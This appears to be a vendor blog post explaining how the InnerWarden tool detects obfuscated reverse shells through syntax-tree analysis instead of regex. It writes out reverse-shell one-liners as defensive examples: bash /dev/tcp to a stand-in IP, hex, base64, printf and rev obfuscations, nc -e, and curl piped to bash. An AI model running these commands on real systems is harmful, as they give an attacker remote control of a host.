How InnerWarden Catches Obfuscated Reverse Shells (Tree-Sitter AST, Not Regex)
A reverse shell is the first thing an attacker establishes after gaining initial access. It connects your server back to the attacker's machine, giving them an interactive terminal. The problem: modern payloads are heavily obfuscated. They use hex encoding, base64 wrapping, printf substitution, and variable indirection to bypass every regex-based detection tool on the market.
InnerWarden does not use regex for command analysis. It parses commands into an Abstract Syntax Tree using tree-sitter and analyzes the structure, not the text. This catches obfuscated payloads that no pattern-matching tool can detect.
Why regex fails for reverse shell detection
A naive reverse shell looks like this:
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1A regex can catch that. But attackers never send that. They send this:
echo -e '\x62\x61\x73\x68\x20\x2d\x69' | bashecho YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE= | base64 -d | bash$(printf '%s' 'bash' '-i' '>& /dev/tcp/10.0.0.1/4444')echo '1>&0 4444/1.0.0.01/pct/ved/ &>i- hsab' | rev | bashThe string /dev/tcp never appears in the raw command. Neither does bash -i. Regex has nothing to match against. fail2ban, OSSEC, and most SIEM rules are blind to these payloads.
How tree-sitter AST analysis works
Instead of matching text, InnerWarden parses the command into a syntax tree using tree-sitter. The tree represents the structure of the command: pipes, redirections, subshells, command substitutions, and string operations. The analysis walks the tree looking for structural patterns, not string patterns.
For the hex-encoded example above, the AST reveals:
The key insight: regardless of how the payload is encoded, the AST structure always contains a pipeline where encoded or obfuscated data flows into a shell interpreter. Tree-sitter sees the structure. Regex sees the text.
Patterns InnerWarden detects
The check-command analysis engine covers these reverse shell families and obfuscation techniques:
| Pattern | Example | AST signal |
|---|---|---|
| Python socket | python -c 'import socket...' | socket.socket + connect + subprocess |
| Perl socket | perl -e 'use Socket...' | use Socket + open + exec |
| mkfifo pipe | mkfifo /tmp/f; cat /tmp/f | bash | mkfifo + pipe into interpreter |
| Bash hex escapes | $'\x62\x61\x73\x68' | ANSI-C quoting with hex sequences |
| eval + base64 | eval $(echo ... | base64 -d) | eval wrapping decoded substitution |
| printf build | $(printf '\x2f\x64\x65\x76...') | printf with hex in command substitution |
| rev pipe | echo '...' | rev | bash | string reversal piped into interpreter |
| Download + execute | curl http://x.x/s | bash | network fetch piped into interpreter |
| Netcat variants | nc -e /bin/sh 10.0.0.1 4444 | nc/ncat with -e flag + interpreter path |
The check-command API
InnerWarden exposes a POST /api/agent/check-command endpoint that analyzes any command without executing it. This is designed for AI agents (OpenClaw, n8n, custom automation) that need to validate commands before running them. The free Community guard answers it on loopback with innerwarden serve (plain HTTP on 127.0.0.1:8787); Pro and Enterprise serve the same route over HTTPS.
# Community: innerwarden serve answers plain HTTP on loopback
curl -s http://127.0.0.1:8787/api/agent/check-command \
-H "Content-Type: application/json" \
-d '{"command": "echo YmFzaCAtaSA+Ji... | base64 -d | bash"}'{
"recommendation": "deny",
"risk_score": 70,
"severity": "high",
"signals": [
{ "signal": "dynamic_code_execution",
"detail": "shell data is structurally fed into a code interpreter" },
{ "signal": "obfuscated_command",
"detail": "obfuscation pattern: `base64 -d`" }
],
"explanation": "shell data is structurally fed into a code interpreter; obfuscation pattern: `base64 -d`"
}A clean command returns "recommendation": "allow". The analysis runs locally in native Rust: no network calls, no AI inference.
Comparison with regex-based tools
Tools like fail2ban, OSSEC, and most SIEM rules rely on regex patterns to detect malicious commands. This works for known, unobfuscated payloads. It fails for everything else.
| Capability | Regex tools | InnerWarden (AST) |
|---|---|---|
| Plain reverse shells | Detected | Detected |
| Base64-encoded payloads | Missed | Detected |
| Hex-escaped strings | Missed | Detected |
| printf/rev obfuscation | Missed | Detected |
| Variable indirection | Missed | Detected |
| Pre-execution analysis | No | Yes (API) |
| Where it runs | Locally | Locally, no network call |
Set it up
The tree-sitter engine is the free Community guard. Install it, then check a command from the shell or serve the API:
npm install -g innerwarden
innerwarden check "echo YmFzaCAtaSA+Ji... | base64 -d | bash"
innerwarden serve # POST /api/agent/check-command on 127.0.0.1:8787On a Linux host running InnerWarden Pro or Enterprise, the sensor's exec_audit collector also watches the commands that actually run, in real time, with the same engine. See Pro and Enterprise.
What to do next
- Protect AI agents on your server - use the check-command API to validate every command your AI agent wants to run.
- SSH honeypot setup - capture the reverse shell payloads attackers try to run on your server.
- Read the engine on GitHub - the check-command engine (agent-guard) is open source in the inner-warden repository (Apache-2.0). Report false positives and edge cases.